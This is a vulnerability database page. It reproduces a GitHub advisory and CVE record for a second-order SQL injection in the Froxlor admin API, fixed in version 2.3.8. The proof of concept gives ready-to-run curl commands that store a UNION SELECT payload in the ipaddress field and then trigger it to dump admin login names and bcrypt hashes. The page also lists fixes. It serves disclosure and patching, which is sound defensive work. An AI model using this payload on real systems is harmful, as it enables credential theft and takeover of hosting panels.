Vulnerability-Lookup

GHSA-W27M-RMMF-G5W4

Vulnerability from github – Published: 2026-08-18 20:47 – Updated: 2026-08-18 20:47

Summary

Froxlor: Second-Order SQL Injection via `Admins.add` `ipaddress` Parameter Allows Full Database Exfiltration

Details

Summary

A second-order SQL injection vulnerability in Froxlor's admin API allows an authenticated administrator to store a crafted SQL payload in the panel_admins.ip column via the Admins.add or Admins.update endpoint. The payload executes as a UNION-based SQL injection the next time IpsAndPorts.listing is called by the poisoned account, returning arbitrary data from the database — including all administrator login names and bcrypt password hashes.

Details

The vulnerability spans two code locations that form a store-then-trigger chain.

Stage 1 — Unsanitized array stored as JSON — lib/Froxlor/Api/Commands/Admins.php:251,358

$ipaddress = $this->getParam('ipaddress', true, -1);
// No type enforcement or content validation on $ipaddress.
// PHP evaluates (is_array([...]) && non_empty_array > 0) as true,
// so any attacker-controlled array is JSON-encoded and stored verbatim.
'ip' => empty($ipaddress) ? "" : (is_array($ipaddress) && $ipaddress > 0
    ? json_encode($ipaddress)   // ← attacker payload written to panel_admins.ip
    : -1),

The INSERT/UPDATE uses a prepared statement, so the write itself is safe. The danger is what is stored.

Stage 2 — JSON payload imploded directly into SQL — lib/Froxlor/Api/Commands/IpsAndPorts.php:71-77

if (!empty($this->getUserDetail('ip')) && $this->getUserDetail('ip') != -1) {
    // json_decode restores the array; implode joins elements with no casting or escaping
    $ip_where = "WHERE `id` IN (" . implode(", ", json_decode($this->getUserDetail('ip'), true)) . ")";
}
$result_stmt = Database::prepare(
    "SELECT * FROM `panel_ipsandports` " . $ip_where . ...
);
// Final SQL: SELECT * FROM panel_ipsandports WHERE `id` IN (<PAYLOAD>)

The same unsanitized implode pattern exists in lib/Froxlor/Api/Commands/Domains.php:1016.

Every other place in the codebase that builds dynamic IN clauses uses either integer casting ((int)) or parameterized subqueries. The ip-column path is the sole exception.

PoC

Prerequisites: Valid Froxlor admin API key with change_serversettings = 1.

Step 1 — Poison: store the UNION SELECT payload via Admins.add

curl -s -u "APIKEY:SECRET" http://TARGET/api.php \
  -H "Content-Type: application/json" \
  -d '{
    "command": "Admins.add",
    "params": {
      "name": "x",
      "new_loginname": "eviladmin",
      "email": "x@x.local",
      "admin_password": "Passw0rd!123",
      "ipaddress": ["1) UNION SELECT 1,loginname,password,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19 FROM panel_admins-- -"]
    }
  }'

The ip column of panel_admins for eviladmin now contains:

["1) UNION SELECT 1,loginname,password,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19 FROM panel_admins-- -"]

Step 2 — Trigger: call IpsAndPorts.listing as the poisoned account

No interaction beyond a single API call. Visiting the following URL while authenticated as eviladmin is sufficient:

http://TARGET/admin_index.php?page=ipsandports

Or directly via API:

curl -s -u "EVIL_APIKEY:EVIL_SECRET" http://TARGET/api.php \
  -H "Content-Type: application/json" \
  -d '{"command":"IpsAndPorts.listing"}'

Confirmed output from live instance (localhost:8290):

{
  "data": {
    "list": [
      {
        "ip": "admin",
        "port": "$2y$10$uaI/7ZBJtKCSo7CXfNKQuuFXOkJTP/qLhbxLe4yIVSyB90i7i1heu"
      },
      {
        "ip": "eviladmin",
        "port": "$2y$10$KKTbNdFRlsmnYacZOAgRJuRdJy2HOSHqtZW1eSdVw8pWa9xT9wx5S"
      }
    ]
  }
}

The ip field returns loginname and port returns the bcrypt password hash of every administrator in the database.

Minimum reproduction — two CMD single-line commands:

Step 1: poison (run once with any admin API key that has change_serversettings=1):

curl -su "APIKEY:SECRET" http://TARGET/api.php -H "Content-Type:application/json" -d "{\"command\":\"Admins.add\",\"params\":{\"name\":\"x\",\"new_loginname\":\"poc\",\"email\":\"x@x.local\",\"admin_password\":\"Passw0rd!1\",\"ipaddress\":[\"1) UNION SELECT 1,loginname,password,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19 FROM panel_admins-- -\"]}}"

Step 2: trigger (run with the poisoned account's API key — visiting the page in a browser also suffices):

curl -su "POC_APIKEY:POC_SECRET" http://TARGET/api.php -H "Content-Type:application/json" -d "{\"command\":\"IpsAndPorts.listing\"}"

Confirmed output from live instance (localhost:8290) — step 2 alone:

curl -su "evil_key_abc123:evil_secret_xyz456" http://localhost:8290/api.php -H "Content-Type:application/json" -d "{\"command\":\"IpsAndPorts.listing\"}"

{
  "data": {
    "list": [
      { "ip": "admin",     "port": "$2y$10$uaI/7ZBJtKCSo7CXfNKQuuFXOkJTP/qLhbxLe4yIVSyB90i7i1heu" },
      { "ip": "eviladmin", "port": "$2y$10$KKTbNdFRlsmnYacZOAgRJuRdJy2HOSHqtZW1eSdVw8pWa9xT9wx5S" }
    ]
  }
}

Impact

Type: Second-Order SQL Injection (UNION-based)

Who is impacted: Any Froxlor installation with the API enabled and at least one admin account that has change_serversettings = 1. The attack requires an authenticated admin API key, making it relevant in multi-admin deployments (hosting providers with reseller admins) where one admin may be malicious or compromised.

Consequences:

Full credential dump — all admin and customer login names and bcrypt password hashes are extractable in a single request.
Lateral movement — cracked hashes allow login to other admin accounts or customer accounts.
Data exfiltration — the UNION SELECT can target any table in the database: customer data, email accounts, domain configurations, API keys.
Privilege escalation — a reseller admin (limited permissions) can extract the super-admin's credentials and gain full control of the panel.

Fix

Option A (recommended) — Integer-cast all elements before implode:

// lib/Froxlor/Api/Commands/IpsAndPorts.php:72
$ip_ids = array_map('intval', json_decode($this->getUserDetail('ip'), true));
$ip_where = "WHERE `id` IN (" . implode(", ", $ip_ids) . ")";

Option B — Validate at storage time in Admins.add / Admins.update:

// lib/Froxlor/Api/Commands/Admins.php
if (is_array($ipaddress)) {
    $ipaddress = array_filter($ipaddress, 'is_numeric');
}
'ip' => empty($ipaddress) ? "" : (is_array($ipaddress) && count($ipaddress) > 0
    ? json_encode(array_map('intval', $ipaddress))
    : -1),

Apply the same fix to the identical pattern in Domains.php:1016.

Severity

7.2 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "froxlor/froxlor"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.3.8"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-54348"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-89"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-18T20:47:59Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\n\nA second-order SQL injection vulnerability in Froxlor\u0027s admin API allows an authenticated administrator to store a crafted SQL payload in the `panel_admins.ip` column via the `Admins.add` or `Admins.update` endpoint. The payload executes as a UNION-based SQL injection the next time `IpsAndPorts.listing` is called by the poisoned account, returning arbitrary data from the database \u2014 including all administrator login names and bcrypt password hashes.\n\n---\n\n### Details\n\nThe vulnerability spans two code locations that form a store-then-trigger chain.\n\n**Stage 1 \u2014 Unsanitized array stored as JSON** \u2014 `lib/Froxlor/Api/Commands/Admins.php:251,358`\n\n```php\n$ipaddress = $this-\u003egetParam(\u0027ipaddress\u0027, true, -1);\n// No type enforcement or content validation on $ipaddress.\n// PHP evaluates (is_array([...]) \u0026\u0026 non_empty_array \u003e 0) as true,\n// so any attacker-controlled array is JSON-encoded and stored verbatim.\n\u0027ip\u0027 =\u003e empty($ipaddress) ? \"\" : (is_array($ipaddress) \u0026\u0026 $ipaddress \u003e 0\n    ? json_encode($ipaddress)   // \u2190 attacker payload written to panel_admins.ip\n    : -1),\n```\n\nThe INSERT/UPDATE uses a prepared statement, so the write itself is safe. The danger is what is stored.\n\n**Stage 2 \u2014 JSON payload imploded directly into SQL** \u2014 `lib/Froxlor/Api/Commands/IpsAndPorts.php:71-77`\n\n```php\nif (!empty($this-\u003egetUserDetail(\u0027ip\u0027)) \u0026\u0026 $this-\u003egetUserDetail(\u0027ip\u0027) != -1) {\n    // json_decode restores the array; implode joins elements with no casting or escaping\n    $ip_where = \"WHERE `id` IN (\" . implode(\", \", json_decode($this-\u003egetUserDetail(\u0027ip\u0027), true)) . \")\";\n}\n$result_stmt = Database::prepare(\n    \"SELECT * FROM `panel_ipsandports` \" . $ip_where . ...\n);\n// Final SQL: SELECT * FROM panel_ipsandports WHERE `id` IN (\u003cPAYLOAD\u003e)\n```\n\nThe same unsanitized implode pattern exists in `lib/Froxlor/Api/Commands/Domains.php:1016`.\n\nEvery other place in the codebase that builds dynamic `IN` clauses uses either integer casting (`(int)`) or parameterized subqueries. The `ip`-column path is the sole exception.\n\n---\n\n### PoC\n\u003cimg width=\"2452\" height=\"1476\" alt=\"image\" src=\"https://github.com/user-attachments/assets/2cbff4f8-b316-4a86-95ce-71f5c14d0c95\" /\u003e\n\n\n\n**Prerequisites:** Valid Froxlor admin API key with `change_serversettings = 1`.\n\n**Step 1 \u2014 Poison: store the UNION SELECT payload via `Admins.add`**\n\n```bash\ncurl -s -u \"APIKEY:SECRET\" http://TARGET/api.php \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\n    \"command\": \"Admins.add\",\n    \"params\": {\n      \"name\": \"x\",\n      \"new_loginname\": \"eviladmin\",\n      \"email\": \"x@x.local\",\n      \"admin_password\": \"Passw0rd!123\",\n      \"ipaddress\": [\"1) UNION SELECT 1,loginname,password,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19 FROM panel_admins-- -\"]\n    }\n  }\u0027\n```\n\nThe `ip` column of `panel_admins` for `eviladmin` now contains:\n```\n[\"1) UNION SELECT 1,loginname,password,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19 FROM panel_admins-- -\"]\n```\n\n**Step 2 \u2014 Trigger: call `IpsAndPorts.listing` as the poisoned account**\n\nNo interaction beyond a single API call. Visiting the following URL while authenticated as `eviladmin` is sufficient:\n\n```\nhttp://TARGET/admin_index.php?page=ipsandports\n```\n\nOr directly via API:\n\n```bash\ncurl -s -u \"EVIL_APIKEY:EVIL_SECRET\" http://TARGET/api.php \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\"command\":\"IpsAndPorts.listing\"}\u0027\n```\n\n**Confirmed output from live instance (`localhost:8290`):**\n\n```json\n{\n  \"data\": {\n    \"list\": [\n      {\n        \"ip\": \"admin\",\n        \"port\": \"$2y$10$uaI/7ZBJtKCSo7CXfNKQuuFXOkJTP/qLhbxLe4yIVSyB90i7i1heu\"\n      },\n      {\n        \"ip\": \"eviladmin\",\n        \"port\": \"$2y$10$KKTbNdFRlsmnYacZOAgRJuRdJy2HOSHqtZW1eSdVw8pWa9xT9wx5S\"\n      }\n    ]\n  }\n}\n```\n\nThe `ip` field returns `loginname` and `port` returns the bcrypt password hash of every administrator in the database.\n\n**Minimum reproduction \u2014 two CMD single-line commands:**\n\nStep 1: poison (run once with any admin API key that has `change_serversettings=1`):\n\n```cmd\ncurl -su \"APIKEY:SECRET\" http://TARGET/api.php -H \"Content-Type:application/json\" -d \"{\\\"command\\\":\\\"Admins.add\\\",\\\"params\\\":{\\\"name\\\":\\\"x\\\",\\\"new_loginname\\\":\\\"poc\\\",\\\"email\\\":\\\"x@x.local\\\",\\\"admin_password\\\":\\\"Passw0rd!1\\\",\\\"ipaddress\\\":[\\\"1) UNION SELECT 1,loginname,password,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19 FROM panel_admins-- -\\\"]}}\"\n```\n\nStep 2: trigger (run with the poisoned account\u0027s API key \u2014 visiting the page in a browser also suffices):\n\n```cmd\ncurl -su \"POC_APIKEY:POC_SECRET\" http://TARGET/api.php -H \"Content-Type:application/json\" -d \"{\\\"command\\\":\\\"IpsAndPorts.listing\\\"}\"\n```\n\n**Confirmed output from live instance (`localhost:8290`) \u2014 step 2 alone:**\n\n```cmd\ncurl -su \"evil_key_abc123:evil_secret_xyz456\" http://localhost:8290/api.php -H \"Content-Type:application/json\" -d \"{\\\"command\\\":\\\"IpsAndPorts.listing\\\"}\"\n```\n\n```json\n{\n  \"data\": {\n    \"list\": [\n      { \"ip\": \"admin\",     \"port\": \"$2y$10$uaI/7ZBJtKCSo7CXfNKQuuFXOkJTP/qLhbxLe4yIVSyB90i7i1heu\" },\n      { \"ip\": \"eviladmin\", \"port\": \"$2y$10$KKTbNdFRlsmnYacZOAgRJuRdJy2HOSHqtZW1eSdVw8pWa9xT9wx5S\" }\n    ]\n  }\n}\n```\n\n---\n\n### Impact\n\n**Type:** Second-Order SQL Injection (UNION-based)\n\n**Who is impacted:** Any Froxlor installation with the API enabled and at least one admin account that has `change_serversettings = 1`. The attack requires an authenticated admin API key, making it relevant in multi-admin deployments (hosting providers with reseller admins) where one admin may be malicious or compromised.\n\nConsequences:\n\n- **Full credential dump** \u2014 all admin and customer login names and bcrypt password hashes are extractable in a single request.\n- **Lateral movement** \u2014 cracked hashes allow login to other admin accounts or customer accounts.\n- **Data exfiltration** \u2014 the UNION SELECT can target any table in the database: customer data, email accounts, domain configurations, API keys.\n- **Privilege escalation** \u2014 a reseller admin (limited permissions) can extract the super-admin\u0027s credentials and gain full control of the panel.\n\n---\n\n### Fix\n\n**Option A (recommended) \u2014 Integer-cast all elements before implode:**\n\n```php\n// lib/Froxlor/Api/Commands/IpsAndPorts.php:72\n$ip_ids = array_map(\u0027intval\u0027, json_decode($this-\u003egetUserDetail(\u0027ip\u0027), true));\n$ip_where = \"WHERE `id` IN (\" . implode(\", \", $ip_ids) . \")\";\n```\n\n**Option B \u2014 Validate at storage time in `Admins.add` / `Admins.update`:**\n\n```php\n// lib/Froxlor/Api/Commands/Admins.php\nif (is_array($ipaddress)) {\n    $ipaddress = array_filter($ipaddress, \u0027is_numeric\u0027);\n}\n\u0027ip\u0027 =\u003e empty($ipaddress) ? \"\" : (is_array($ipaddress) \u0026\u0026 count($ipaddress) \u003e 0\n    ? json_encode(array_map(\u0027intval\u0027, $ipaddress))\n    : -1),\n```\n\nApply the same fix to the identical pattern in `Domains.php:1016`.\n\n---",
  "id": "GHSA-w27m-rmmf-g5w4",
  "modified": "2026-08-18T20:47:59Z",
  "published": "2026-08-18T20:47:59Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/froxlor/froxlor/security/advisories/GHSA-w27m-rmmf-g5w4"
    },
    {
      "type": "WEB",
      "url": "https://github.com/froxlor/froxlor/commit/a1eaca5a1601c8a30e00814a4fc73ad0c185f89e"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/froxlor/froxlor"
    },
    {
      "type": "WEB",
      "url": "https://github.com/froxlor/froxlor/releases/tag/2.3.8"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Froxlor: Second-Order SQL Injection via `Admins.add` `ipaddress` Parameter Allows Full Database Exfiltration"
}

CVE-2026-54348 (GCVE-0-2026-54348)

Vulnerability from cvelistv5 – Published: 2026-08-18 20:15 – Updated: 2026-08-19 19:21

Title

Froxlor: Second-Order SQL Injection via `Admins.add` `ipaddress` Parameter Allows Full Database Exfiltration

Summary

Froxlor is open source server administration software. Prior to 2.3.8, the Admins.add and Admins.update endpoints in lib/Froxlor/Api/Commands/Admins.php accept an attacker-controlled ipaddress array and store it as JSON in panel_admins.ip without enforcing numeric element types. When the poisoned account later calls IpsAndPorts.listing, lib/Froxlor/Api/Commands/IpsAndPorts.php decodes the array and concatenates its elements into a SQL IN clause without casting or parameterization; the same unsafe pattern is present in lib/Froxlor/Api/Commands/Domains.php. An authenticated administrator with change_serversettings permission can store a UNION-based payload and trigger it through the poisoned account to retrieve arbitrary database data, including administrator login names and bcrypt password hashes, with potential privilege escalation and broader database impact. This issue is fixed in version 2.3.8.

Severity

7.2 (High)


                        
                          CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

SSVC

Exploitation: poc Automatable: no Technical Impact: total

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-08-19 19:21 UTC

CWE

CWE-89 - Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')

Assigner

GitHub_M mitre root

References

3 references

URL	Tags
https://github.com/froxlor/froxlor/security/advis…	x_refsource_CONFIRM
https://github.com/froxlor/froxlor/commit/a1eaca5…	x_refsource_MISC
https://github.com/froxlor/froxlor/releases/tag/2.3.8	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version
froxlor	froxlor	Affected: < 2.3.8

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-54348",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "total"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-08-19T19:21:00.598209Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-08-19T19:21:07.139Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "references": [
          {
            "tags": [
              "exploit"
            ],
            "url": "https://github.com/froxlor/froxlor/security/advisories/GHSA-w27m-rmmf-g5w4"
          }
        ],
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "froxlor",
          "vendor": "froxlor",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 2.3.8"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Froxlor is open source server administration software. Prior to 2.3.8, the Admins.add and Admins.update endpoints in lib/Froxlor/Api/Commands/Admins.php accept an attacker-controlled ipaddress array and store it as JSON in panel_admins.ip without enforcing numeric element types. When the poisoned account later calls IpsAndPorts.listing, lib/Froxlor/Api/Commands/IpsAndPorts.php decodes the array and concatenates its elements into a SQL IN clause without casting or parameterization; the same unsafe pattern is present in lib/Froxlor/Api/Commands/Domains.php. An authenticated administrator with change_serversettings permission can store a UNION-based payload and trigger it through the poisoned account to retrieve arbitrary database data, including administrator login names and bcrypt password hashes, with potential privilege escalation and broader database impact. This issue is fixed in version 2.3.8."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "HIGH",
            "baseScore": 7.2,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "HIGH",
            "integrityImpact": "HIGH",
            "privilegesRequired": "HIGH",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-89",
              "description": "CWE-89: Improper Neutralization of Special Elements used in an SQL Command (\u0027SQL Injection\u0027)",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-08-18T20:15:31.866Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/froxlor/froxlor/security/advisories/GHSA-w27m-rmmf-g5w4",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/froxlor/froxlor/security/advisories/GHSA-w27m-rmmf-g5w4"
        },
        {
          "name": "https://github.com/froxlor/froxlor/commit/a1eaca5a1601c8a30e00814a4fc73ad0c185f89e",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/froxlor/froxlor/commit/a1eaca5a1601c8a30e00814a4fc73ad0c185f89e"
        },
        {
          "name": "https://github.com/froxlor/froxlor/releases/tag/2.3.8",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/froxlor/froxlor/releases/tag/2.3.8"
        }
      ],
      "source": {
        "advisory": "GHSA-w27m-rmmf-g5w4",
        "discovery": "UNKNOWN"
      },
      "title": "Froxlor: Second-Order SQL Injection via `Admins.add` `ipaddress` Parameter Allows Full Database Exfiltration"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-54348",
    "datePublished": "2026-08-18T20:15:31.866Z",
    "dateReserved": "2026-06-12T19:23:22.317Z",
    "dateUpdated": "2026-08-19T19:21:07.139Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.

Action not permitted

GHSA-W27M-RMMF-G5W4

Summary

Details

PoC

Impact

Fix

CVE-2026-54348 (GCVE-0-2026-54348)

Tags

Sightings

Nomenclature